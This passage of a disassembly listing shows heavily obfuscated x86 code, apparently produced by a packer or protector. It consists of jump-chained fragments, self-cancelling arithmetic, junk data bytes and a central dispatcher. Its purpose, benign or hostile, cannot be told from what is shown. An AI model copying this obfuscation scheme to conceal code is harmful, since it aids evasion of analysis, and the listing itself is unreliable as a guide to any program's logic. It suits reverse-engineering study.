loc_59176A:				; CODE XREF: sdfs____:00596000j
		and	eax, ebp
		jmp	loc_594A34
; ---------------------------------------------------------------------------


loc_591771:				; CODE XREF: sdfs____:0058DE1Bj
		mov	[esp], ebp
		mov	ebp, 4
		add	eax, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		jmp	loc_59150B
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 0A092FC2Ah, 8159CD01h, 0F14E66EDh, 5DE90170h, 2C181h
		dd 7EE90000h, 35000070h, 0FADD0156h, 2FE2E9h
		db 0
; ---------------------------------------------------------------------------


loc_5917AD:				; CODE XREF: sdfs____:00593E32j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_592F43
; ---------------------------------------------------------------------------


loc_5917C0:				; CODE XREF: sdfs____:00592657j
		push	ebp
		mov	ebp, eax
		jmp	loc_58F573
; ---------------------------------------------------------------------------


loc_5917C8:				; CODE XREF: sdfs____:00596A54j
		mov	cx, 0C361h
		add	si, cx
		pop	cx
		sub	dx, si
		pop	esi
		sub	ax, dx
		pop	edx
		push	ax
		sub	esp, 4
		mov	[esp], edi
		push	small 5743h
		pop	di
		push	ebx
		mov	bx, 194Ch
		xor	bx, 617Fh
		or	di, bx
		pop	ebx
		neg	di
		and	di, 31CEh
		add	di, 5570h
		jmp	loc_58C6DB
; ---------------------------------------------------------------------------
		db 0BEh
		dd 2, 0E95EF701h, 0FFFFB183h
; ---------------------------------------------------------------------------


loc_591814:				; CODE XREF: sdfs____:0058FD87j
		jmp	loc_592A4B
; ---------------------------------------------------------------------------


loc_591819:				; CODE XREF: sdfs____:0058FA94j
		add	[edi+20h], ecx
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_59219E
; ---------------------------------------------------------------------------


loc_591827:				; CODE XREF: sdfs____:0058BCD2j
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_597E85
; ---------------------------------------------------------------------------


loc_591832:				; CODE XREF: sdfs____:005922F1j
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		movsx	ecx, ax
		jmp	loc_590216
; ---------------------------------------------------------------------------
		dw 0E95Fh
		dd 0FFFFB27Ah
; ---------------------------------------------------------------------------


loc_59184C:				; CODE XREF: sdfs____:0059371Bj
		add	esp, 4
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_591857:				; CODE XREF: sdfs____:0058C862j
					; sdfs____:0058DD97j
		sub	eax, 1B8C5529h
		sub	ebx, eax
		pop	eax
		add	ebx, eax
		add	ebx, 1DAE1AA1h
		push	553Fh
		mov	[esp], ecx
		push	1A414DAEh
		jmp	loc_58D3FF
; ---------------------------------------------------------------------------


loc_591879:				; CODE XREF: sdfs____:0058F780j
		mov	edi, esi
		pop	esi
		shl	edi, 4
		jmp	loc_58E08E
; ---------------------------------------------------------------------------


loc_591884:				; CODE XREF: sdfs____:0058E96Bj
		add	bl, 0A9h
		push	cx
		mov	ch, 6Bh
		add	bl, ch
		pop	cx
		push	small 6E07h
		jmp	loc_596B45
; ---------------------------------------------------------------------------
		dd 34865266h, 86DEF624h, 0CE92434h
		db 2Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5918A7:				; CODE XREF: sdfs____:005941F7j
		pop	ecx
		push	esi
		push	eax
		mov	eax, 29ED26DCh
		xor	eax, 3C0B0151h
		shr	eax, 1
		jp	loc_58E347
		and	eax, 0C6F22DFh
		jmp	loc_58EC6C
; ---------------------------------------------------------------------------
		dw 665Dh
		dd 8124048Bh, 4ECh, 242C8900h, 2434FF54h, 4C4815Dh, 81000000h
		dd 4C5h, 3E0E900h, 34FF0000h, 0C4835A24h, 5470E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5918F6:				; CODE XREF: sdfs____:0058FF31j
		add	esp, 4
		add	eax, 4
		jmp	loc_5939D3
; ---------------------------------------------------------------------------


loc_591906:				; CODE XREF: sdfs____:00597954j
		add	ecx, edi
		add	ecx, 2E7B180Ch
		push	edx
		jmp	loc_58C186
; ---------------------------------------------------------------------------


loc_591914:				; CODE XREF: sdfs____:0058FDC6j
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		cmp	cx, ax
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_591926:				; CODE XREF: sdfs____:loc_5906C3j
		add	ecx, 0E44EF5A4h
		add	esi, ecx
		pop	ecx
		jmp	loc_592D87
; ---------------------------------------------------------------------------
		dd 836421BDh, 7EC58135h, 814ABF40h, 4110D0EDh, 0CAF4E91Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59194A:				; CODE XREF: sdfs____:005929BCj
					; sdfs____:00595531j
		mov	[esp], ebx
		jmp	loc_590BE1
; ---------------------------------------------------------------------------


loc_591952:				; CODE XREF: sdfs____:00592ED4j
		sub	ch, 0B4h
		add	ch, 8
		sub	bl, ch
		pop	ecx
		add	bl, al
		push	cx
		push	edx
		mov	dh, 0F4h
		shl	dh, 4
		jp	loc_5910A9
		shr	dh, 5
		jp	loc_58D925
		jmp	loc_58FEFB
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 89575324h, 4C781E7h,	83000000h, 3C8704EFh, 8F545C24h
		dd 4812404h, 424h, 0C3815B00h, 4, 482A68h, 24148900h, 8904EC83h
		dd 2BD242Ch, 89000000h,	0C559E9EAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5919BA:				; CODE XREF: sdfs____:00596B35j
		xchg	ecx, [esp]
		not	ecx
		xchg	ecx, [esp]
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	ebp, 992106B9h
		add	edx, 16F22969h
		sub	edx, ebp
		sub	edx, 16F22969h
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_58D89A
; ---------------------------------------------------------------------------


loc_5919FA:				; CODE XREF: sdfs____:00598984j
		sub	esi, 0F879A143h
		jmp	loc_590F8D
; ---------------------------------------------------------------------------
		db 8Bh,	34h, 24h
		dd 4C481h, 0E6810000h, 3F4632Bh, 0B817850Fh, 0F681FFFFh
		dd 210A420Ch, 8B5EF589h
		db 0CFh, 5Ah
; ---------------------------------------------------------------------------


loc_591A26:				; CODE XREF: sdfs____:005956CCj
		sub	[esp+4], esi
		jmp	loc_596EE2
; ---------------------------------------------------------------------------


loc_591A2F:				; CODE XREF: sdfs____:0058DEC9j
		add	ebx, ebp
		pop	ebp
		xor	ecx, ebx
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		push	esi
		jmp	loc_5981AD
; ---------------------------------------------------------------------------
		dd 0EA10E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_591A46:				; CODE XREF: sdfs____:005944ECj
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 1A536FAEh
		jmp	loc_58C3FE
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 7Bh
		dd 81218B45h, 6F57AEC9h, 181E925h, 53520000h, 0DA89C389h
		dd 64E3685Bh, 14890000h, 241C8B24h, 52E38953h, 5AD3E9h
		db 0
; ---------------------------------------------------------------------------


loc_591A85:				; CODE XREF: sdfs____:005971C9j
		mov	[esp], ebx
		mov	ebx, esp
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_59800C
; ---------------------------------------------------------------------------


loc_591A98:				; CODE XREF: sdfs____:00598CBCj
		push	small 62A0h
		mov	[esp], ax
		jmp	loc_58D32E
; ---------------------------------------------------------------------------
		db 4, 4Eh, 2Ch
		dd 4C80077h, 87E95277h
		db 5Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_591AB3:				; CODE XREF: sdfs____:0058E2A7j
		pop	esp
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		pop	ebx
		jmp	loc_593910
; ---------------------------------------------------------------------------
		db 0B6h
		dd 17EE80A1h, 148BF000h, 0E3895324h, 0FFA54EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_591AD9:				; CODE XREF: sdfs____:0058C637j
					; sdfs____:00597256j
		push	ebp
		mov	ebp, 47915E51h
		or	eax, ebp
		pop	ebp
		jmp	loc_591652
; ---------------------------------------------------------------------------


loc_591AE7:				; CODE XREF: sdfs____:0058FBF9j
		push	edi
		mov	edx, [esp]
		add	esp, 4
		pop	edi
		add	eax, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_58C754
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 0C7h
; ---------------------------------------------------------------------------


loc_591B08:				; CODE XREF: sdfs____:00597D2Fj
		add	esp, 4
		push	2DC3h
		mov	[esp], eax
		jmp	loc_590B1C
; ---------------------------------------------------------------------------


loc_591B1B:				; CODE XREF: sdfs____:00597D86j
		sub	ah, 0FEh
		add	ah, 5
		jmp	loc_58F7EA
; ---------------------------------------------------------------------------


loc_591B26:				; CODE XREF: sdfs____:005925D5j
		push	edi
		mov	edi, 3D333F76h
		jmp	loc_595EFC
; ---------------------------------------------------------------------------
		db 0BAh, 2, 0
		dd 0D3890000h, 4BBEE9h,	0ACF68100h, 0F7299349h,	81DEF7D6h
		dd 4A649DF6h, 0DD5DE906h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_591B52:				; CODE XREF: sdfs____:0058F18Bj
		or	edx, eax
		shl	edx, 1
		jmp	loc_58EC13
; ---------------------------------------------------------------------------
		db 53h
		dd 5657E389h, 0FFEF38E9h, 0FC681FFh, 815A885Ch,	0C33CBC6h
		dd 3101E914h, 0D9F70000h, 4C1FE9h
		db 0
; ---------------------------------------------------------------------------


loc_591B7D:				; CODE XREF: sdfs____:00594E5Cj
		mov	edi, 509E494Ah
		sub	[esp+0Ch], edi
		jmp	loc_591F03
; ---------------------------------------------------------------------------
		db 81h
		dd 0A631E4C5h, 0C63EE953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_591B96:				; CODE XREF: sdfs____:005963D3j
		sub	ch, 0A6h
		xor	al, ch
		jmp	loc_58FCCB
; ---------------------------------------------------------------------------
		dd 60EC781h, 0DF01686Eh, 5056E9h
		db 0
; ---------------------------------------------------------------------------


loc_591BAD:				; CODE XREF: sdfs____:0059673Dj
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		jmp	loc_595014
; ---------------------------------------------------------------------------


loc_591BBF:				; CODE XREF: sdfs____:0058BAADj
		pop	eax
		jmp	loc_58FE34
; ---------------------------------------------------------------------------
		db 0BDh, 4, 0
		dd 0FAE90000h, 8BFFFFD3h, 0C481241Ch, 4, 4C481h, 3C330000h
		dd 33CDE924h, 31E90000h, 81FFFFD1h, 8D30CEC9h, 5E9C119h
		dd 3B52E181h, 0E981055Fh, 55F3B0Eh, 0FFCC71E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_591C05:				; CODE XREF: sdfs____:0059100Cj
		xor	ebp, 4CAF2A0Dh
		sub	ebp, 4DE84233h
		jmp	loc_5959C8
; ---------------------------------------------------------------------------


loc_591C16:				; CODE XREF: sdfs____:00595C7Cj
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ebx, 42B744C2h
		xor	ebx, 200C4FBAh
		jmp	loc_59032A
; ---------------------------------------------------------------------------


loc_591C2C:				; CODE XREF: sdfs____:0058CBC6j
		add	esp, 4
		jmp	loc_59096C
; ---------------------------------------------------------------------------
		dd 3A6BEB81h, 0DE899F07h, 0A893E95Bh, 0D700FFFFh, 2CB4505Ah
		dd 0E934C780h, 0FFFFCA57h, 25C868h, 24248900h, 143BE9h
		db 0
; ---------------------------------------------------------------------------


loc_591C5D:				; CODE XREF: sdfs____:005915F4j
		push	ax
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
		db 59h,	5, 88h
		dd 56037209h, 2BD4E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_591C72:				; CODE XREF: sdfs____:0059423Cj
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_596AE9
; ---------------------------------------------------------------------------
		db 2Ch
		dd 4F82869h, 0C4D6E969h, 34FFFFFFh, 0EC835824h,	0E6F4E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_591C9E:				; CODE XREF: sdfs____:00590211j
		mov	eax, esp
		add	eax, 4
		jmp	loc_594CBD
; ---------------------------------------------------------------------------


loc_591CAA:				; CODE XREF: sdfs____:00592CE3j
		push	edx
		mov	edx, 5D2669ADh
		add	ecx, edx
		jmp	loc_58CD5C
; ---------------------------------------------------------------------------
		db 55h
		dd 0FFA53FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_591CBD:				; CODE XREF: sdfs____:00595A65j
		not	ecx
		jmp	loc_593E37
; ---------------------------------------------------------------------------


loc_591CC4:				; CODE XREF: sdfs____:0059458Ej
		pop	eax
		jmp	loc_58F8BC
; ---------------------------------------------------------------------------
		dw 4168h
		dd 0E9000037h, 614Eh
; ---------------------------------------------------------------------------


loc_591CD4:				; CODE XREF: sdfs____:00593FDFj
					; sdfs____:0059614Ej
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
		db 59h
		dd 0CAE68h, 243C8900h, 3663E9h
		db 0
; ---------------------------------------------------------------------------


loc_591CED:				; CODE XREF: sdfs____:00592AD7j
		add	esp, 4
		add	ebx, ebp
		pop	ebp
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_597E3F
; ---------------------------------------------------------------------------


loc_591CFE:				; CODE XREF: sdfs____:00595E5Ej
		mov	ebx, 0CCA4DDADh
		add	ebp, ebx
		pop	ebx
		jmp	loc_58C087
; ---------------------------------------------------------------------------


loc_591D0B:				; CODE XREF: sdfs____:0059171Ej
					; sdfs____:00593722j
		pop	ebx
		add	edx, 5451326Eh
		add	edx, ecx
		push	eax
		mov	eax, 5451326Eh
		jmp	loc_59016D
; ---------------------------------------------------------------------------


loc_591D1F:				; CODE XREF: sdfs____:005907D3j
		pop	edx
		or	si, cx
		jmp	loc_594D10
; ---------------------------------------------------------------------------


loc_591D28:				; CODE XREF: sdfs____:005920A1j
		shr	eax, 4
		shl	eax, 5
		shr	eax, 8
		push	ebx
		mov	ebx, 6A0B5936h
		and	eax, ebx
		pop	ebx
		push	ebx
		mov	ebx, 0FFFCB7EEh
		add	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	edi, eax
		pop	eax
		sub	edi, 2
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		mov	[esp], ax
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_591D65:				; CODE XREF: sdfs____:0058EDDDj
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_59166D
; ---------------------------------------------------------------------------
		dd 6107F62Dh, 45BE5632h, 464F6667h, 7F77C681h, 0F6815083h
		dd 591C3939h, 0FFBD20E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_591D9D:				; CODE XREF: sdfs____:0058CE97j
		add	eax, 4F40EDB2h
		mov	ebx, eax
		pop	eax
		sub	ebx, esi
		pop	esi
		add	edx, 11680CA5h
		add	edx, 40F0350Bh
		jmp	loc_58D94B
; ---------------------------------------------------------------------------
		db 83h,	0EAh, 4
		dd 5C241487h, 50241489h, 55FFE9h, 6D346800h, 0C890000h
		dd 0E9515224h, 1D1Bh
; ---------------------------------------------------------------------------


loc_591DD8:				; CODE XREF: sdfs____:0058E503j
		mov	esi, 44A2841h
		add	[esp+4], esi
		jmp	loc_58FDF1
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 57D0BF24h, 0C781662Dh, 99D2A834h, 685FF929h,	2D04h
		dd 0FF240C89h, 0E9042474h, 0FFFFACF1h
; ---------------------------------------------------------------------------


loc_591E08:				; CODE XREF: sdfs____:0058E2BAj
		not	ebp
		jmp	loc_58BD05
; ---------------------------------------------------------------------------
		db 58h
		dd 82F58145h, 1201C09h,	0B5E95DEFh
		db 0E3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_591E1F:				; CODE XREF: sdfs____:00598D65j
		xor	eax, esi
		jmp	loc_592864
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0FFB836E9h, 240487FFh, 0FFF850E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_591E39:				; CODE XREF: sdfs____:0058D44Dj
		neg	eax
		jmp	loc_59823E
; ---------------------------------------------------------------------------
		dd 148BD001h, 0E3895324h, 4C381h, 0C3810000h, 4, 5C241C87h
		dd 8104C083h, 4ECh, 24048900h, 42474FFh, 24048F58h, 24048B5Ch
		dd 4EC81h, 0C890000h, 81E18924h, 4C1h, 4E98300h, 2039E9h
		dd 4BB00h, 0D9010000h, 4B8505Bh, 81000000h, 0CC0ED8C1h
		dd 0CEDFE922h, 0C481FFFFh, 4, 4BE56h, 28050000h, 296BC369h
		dd 69282DF0h, 34FF6BC3h
		db 24h,	5Eh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_598899
; ---------------------------------------------------------------------------


loc_591ECC:				; CODE XREF: sdfs____:00595CDAj
		push	ecx
		xchg	edx, [esp]
		xchg	ebp, edx
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		xchg	ebp, edx
		xchg	edx, [esp]
		pop	ecx
		push	4BC7h
		mov	[esp], ecx
		push	dword ptr [esp+4]
		jmp	loc_595609
; ---------------------------------------------------------------------------
		dw 12B7h
		dd 30E9F828h, 66000029h, 83C8BE0Fh, 31E904ECh
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_591F03:				; CODE XREF: sdfs____:00591B86j
		pop	edi
		jmp	loc_58D3EA
; ---------------------------------------------------------------------------
aPsA		db 'PéìA',0
		db 0
; ---------------------------------------------------------------------------


loc_591F0F:				; CODE XREF: sdfs____:0058F840j
					; sdfs____:00592431j
		pop	esi
		jmp	loc_595CFD
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0FF9AA8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_591F1D:				; CODE XREF: sdfs____:00595E53j
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
		db 8Fh
		dd 9A97E902h, 8957FFFFh, 0AE950E7h
		db 2Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_591F37:				; CODE XREF: sdfs____:00590BDCj
		add	esp, 4
		add	eax, 1FC90675h
		sub	eax, ebx
		sub	eax, 1FC90675h
		push	edi
		push	ebx
		mov	ebx, 2E8E2934h
		mov	edi, ebx
		pop	ebx
		push	edi
		jmp	loc_58DFC4
; ---------------------------------------------------------------------------
		db 5, 0DDh, 24h
		dd 0F2D3D1Dh, 0E9612844h, 1DC4h
; ---------------------------------------------------------------------------


loc_591F68:				; CODE XREF: sdfs____:0059595Aj
		mov	esi, 0
		jmp	loc_58BF1E
; ---------------------------------------------------------------------------


loc_591F72:				; CODE XREF: sdfs____:0058CB6Dj
		movzx	ecx, al
		push	45B7h
		mov	[esp], ecx
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
		dw 5359h
		dd 9C1C48BBh, 6B45E939h, 0C4810000h, 4,	4F781h,	0FE01FB7Dh
		dd 0F9BD555Fh, 815DD578h, 0D578FBF5h, 5DEE015Dh, 31243433h
		dd 34332434h, 24248B24h, 24048B66h, 4EC8153h, 89000000h
		dd 9CE92424h
		db 28h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_591FCB:				; CODE XREF: sdfs____:005982A0j
		add	dword ptr [esp], 4
		pop	esi
		push	ebx
		jmp	loc_595437
; ---------------------------------------------------------------------------


loc_591FD9:				; CODE XREF: sdfs____:0058E355j
					; sdfs____:0059370Bj
		push	edx
		mov	edx, 16D44970h
		jmp	loc_58CCC2
; ---------------------------------------------------------------------------


loc_591FE4:				; CODE XREF: sdfs____:0058C851j
		xor	edi, 7DBB6A95h
		mov	ebp, edi
		jmp	loc_594E5A
; ---------------------------------------------------------------------------


loc_591FF1:				; CODE XREF: sdfs____:005967DEj
		mov	edx, 7C9632F5h
		jmp	loc_594A5D
; ---------------------------------------------------------------------------


loc_591FFB:				; CODE XREF: sdfs____:00593B4Cj
		sub	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_5931AA
; ---------------------------------------------------------------------------
		dd 42474FFh, 6824048Bh,	113Ah, 54241489h, 4C2815Ah, 53000000h
		dd 4BBh, 8BDA0100h, 15E9241Ch
		db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_592033:				; CODE XREF: sdfs____:005982CEj
		pop	esi
		add	ebx, edx
		pop	edx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 4
		sub	ebx, 614D33B2h
		jmp	loc_58EE08
; ---------------------------------------------------------------------------


loc_59205D:				; CODE XREF: sdfs____:00590155j
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		push	edx
		mov	dh, 0F9h
		dec	dh
		and	dh, 1
		xor	dh, 0CCh
		sub	bl, dh
		pop	edx
		add	bl, al
		jmp	loc_592EC0
; ---------------------------------------------------------------------------
		db 0FFh
		dd 48B2434h, 0E3895324h, 4C381h, 0EB810000h, 4,	0FFF0D3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_592095:				; CODE XREF: sdfs____:0058FCEFj
		pop	ebp
		or	edx, eax
		shl	edx, 1
		jmp	loc_58E5FC
; ---------------------------------------------------------------------------


loc_59209F:				; CODE XREF: sdfs____:005984C2j
		not	dl
		jmp	loc_591D28
; ---------------------------------------------------------------------------


loc_5920A6:				; CODE XREF: sdfs____:0058C317j
		push	ebx
		jmp	loc_596362
; ---------------------------------------------------------------------------
		dd 4C281h, 0C2830000h, 24148704h, 24ACE9h, 40500h, 0C0830000h
		dd 24043304h, 1243E9h, 0F4A5A00h, 0FFD8A184h, 0C8F281FFh
		dd 89720E5Bh, 24148BD3h, 4C481h, 0DD010000h, 2BA525Bh
		dd 81000000h, 0D321A4EDh, 81D5013Bh, 0D321A4C5h, 0C406E93Bh
		dd 0D9F7FFFFh, 0FFD30BE9h, 0FFF501FFh, 835E2434h, 65E904C4h
		dd 66000008h, 9C240CFFh, 0FF98A4E9h, 0AF2D5AFFh, 172B405h
		dd 5AF05F8h, 0BE972B4h
		db 0A0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_592133:				; CODE XREF: sdfs____:00598DBAj
		push	ecx
		mov	ch, 0Ch
		sub	ch, 2Ch
		js	loc_5959B0
		xor	ch, 63h
		xor	ch, 0B0h
		jge	loc_58BAB2
		add	al, 0FEh
		pop	ebp


loc_59214E:				; CODE XREF: sdfs____:0058ED60j
		sub	esp, 4
		jmp	loc_593D61
; ---------------------------------------------------------------------------


loc_592159:				; CODE XREF: sdfs____:0058E58Dj
		mov	al, 0E1h
		shl	al, 3
		jmp	loc_598018
; ---------------------------------------------------------------------------


loc_592163:				; CODE XREF: sdfs____:0058BADAj
		mov	[esp], esi
		mov	esi, 0FFFFFFFFh
		push	6F23h
		mov	[esp], esi
		push	ebp
		push	ecx
		push	33546E84h
		pop	ecx
		shl	ecx, 1
		sub	ecx, 24752DA7h
		jg	loc_58D35B
		jmp	loc_5938DB
; ---------------------------------------------------------------------------
		dw 9AE9h
		db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_592193:				; CODE XREF: sdfs____:0058BB50j
		xor	ebx, 82CEAB56h
		jmp	loc_58CDE6
; ---------------------------------------------------------------------------


loc_59219E:				; CODE XREF: sdfs____:00591822j
		add	ebx, 4
		add	ebx, 4
		jmp	loc_58C9BA
; ---------------------------------------------------------------------------


loc_5921AF:				; CODE XREF: sdfs____:0058C5BAj
		xor	ebx, eax
		jmp	loc_596C2C
; ---------------------------------------------------------------------------
		dw 483h
		dd 565B0424h, 4BEh, 5EF30100h, 0D169E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5921CA:				; CODE XREF: sdfs____:005959F6j
		mov	edx, 0F16035B7h
		sub	eax, 3E16899h
		add	eax, edx
		add	eax, 3E16899h
		pop	edx
		mov	edx, eax
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	edx, 0FFFFFFFFh
		add	edx, 4ACA2208h
		jmp	loc_594ABC
; ---------------------------------------------------------------------------


loc_5921FF:				; CODE XREF: sdfs____:005908EEj
		xor	ebx, [esp]
		jmp	loc_58EF49
; ---------------------------------------------------------------------------


loc_592207:				; CODE XREF: sdfs____:0059021Ej
		push	ecx
		mov	ecx, esp
		jmp	loc_595659
; ---------------------------------------------------------------------------
		db 0Fh
		dd 8F66C0B6h, 17E98704h, 89FFFFB9h, 0EF28E9EEh,	0CB01FFFFh
		dd 0FFD816E9h, 87D2F7FFh, 3ABDE9D3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_592232:				; CODE XREF: sdfs____:0058D376j
		not	edx
		inc	edx
		jmp	loc_58F6AD
; ---------------------------------------------------------------------------
		dw 9C51h
		dd 1880E9h
		db 0
; ---------------------------------------------------------------------------


loc_592241:				; CODE XREF: sdfs____:005986C0j
		mov	edi, 6104E4Ah
		xor	edi, ebx
		pop	ebx
		jmp	loc_58D194
; ---------------------------------------------------------------------------


loc_59224E:				; CODE XREF: sdfs____:00597A07j
					; sdfs____:00597BE5j
		add	esp, 4
		push	edi
		mov	edi, 2F5518B9h
		and	edi, 7341709Ch
		jmp	loc_598B82
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 4DBFE9h
		db 0
; ---------------------------------------------------------------------------


loc_59226D:				; CODE XREF: sdfs____:005949DDj
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
		dw 0F766h
		dd 0E99C241Ch, 0FFFF9749h
; ---------------------------------------------------------------------------


loc_59227C:				; CODE XREF: sdfs____:0059075Ej
		mov	ebp, 57B652E1h
		xor	[esp+4], ebp
		push	dword ptr [esp]
		pop	ebp
		push	eax
		mov	eax, esp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		jmp	loc_598A21
; ---------------------------------------------------------------------------


loc_59229F:				; CODE XREF: sdfs____:00595CEAj
		push	1700h
		jmp	loc_595A2F
; ---------------------------------------------------------------------------
		db 31h,	54h, 24h
		dd 24148B04h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5969DD
; ---------------------------------------------------------------------------


loc_5922C4:				; CODE XREF: sdfs____:0059494Dj
					; sdfs____:00597A8Ej
		pop	ecx
		sub	edx, edi
		jmp	loc_598C57
; ---------------------------------------------------------------------------


loc_5922CC:				; CODE XREF: sdfs____:00595EFFj
		mov	[esp], ebp
		jmp	loc_5906DE
; ---------------------------------------------------------------------------


loc_5922D4:				; CODE XREF: sdfs____:005983CEj
		push	eax
		push	edx
		pop	eax
		pop	edx
		sub	eax, 33070D9Fh
		add	eax, 334F4DA5h
		add	ecx, 26F66AC8h
		add	ecx, eax
		sub	ecx, 26F66AC8h
		pop	eax
		jmp	loc_591832
; ---------------------------------------------------------------------------
		dw 0E956h
		dd 0FFFFB703h, 0FB1E956h, 0ADE90000h
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_592307:				; CODE XREF: sdfs____:0058FFC9j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_593595
; ---------------------------------------------------------------------------


loc_592313:				; CODE XREF: sdfs____:005982C7j
		dec	esi
		jl	loc_5961B0
		sub	esi, 0E8850BF0h
		mov	ecx, esi
		pop	esi
		mov	dh, 21h


loc_592326:				; CODE XREF: sdfs____:005975A7j
		mov	ebx, esp
		jmp	loc_58DAE1
; ---------------------------------------------------------------------------


loc_59232D:				; CODE XREF: sdfs____:0058CDF1j
		sub	ebp, 1ACA1165h
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_58F2E6
; ---------------------------------------------------------------------------
		dw 0E688h
		dd 0E9070458h, 0FACh, 627EE9h, 241C8B00h, 5104C483h, 4B9h
		dd 59CB0100h, 3827E9h, 4EC8300h, 0BD242C89h, 70FF23F0h
		dd 0C101C583h, 0C58105EDh, 347A7B97h, 68h, 242C2900h, 83242C8Bh
		dd 6804C4h, 0E9000000h,	0FFFFEDD8h, 0ECE9D6F7h,	66FFFFC0h
		dd 0E9240C8Bh, 4362h, 0E904E1C1h, 0FFFFD197h, 3A8CE9h
		dd 240C8B00h, 5C39E951h, 0C5810000h, 69735A2Fh,	278D685Eh
		dd 1C890000h, 81E38924h, 4C3h, 658EE900h, 0C6810000h, 8D8CC6CFh
		dd 895EF389h, 0EB815BDFh, 51251F07h, 0C381FB29h, 51251F07h
		dd 0ABF3815Fh, 0E93ADA24h, 692Ch, 2CEF8B0Fh, 67E90000h
		dd 0FEFFFFD8h, 53D1F6C9h
		db 51h
; ---------------------------------------------------------------------------


loc_592411:				; CODE XREF: sdfs____:00597001j
		pop	ebp
		sub	ebx, 2AA76CFh
		add	ebx, ecx
		jmp	loc_58D360
; ---------------------------------------------------------------------------


loc_59241F:				; CODE XREF: sdfs____:loc_5936FFj
		or	edx, 73EA338Ch
		jns	loc_596894
		or	edx, 1B2355D6h
		jmp	loc_591F0F
; ---------------------------------------------------------------------------
		dw 0B458h
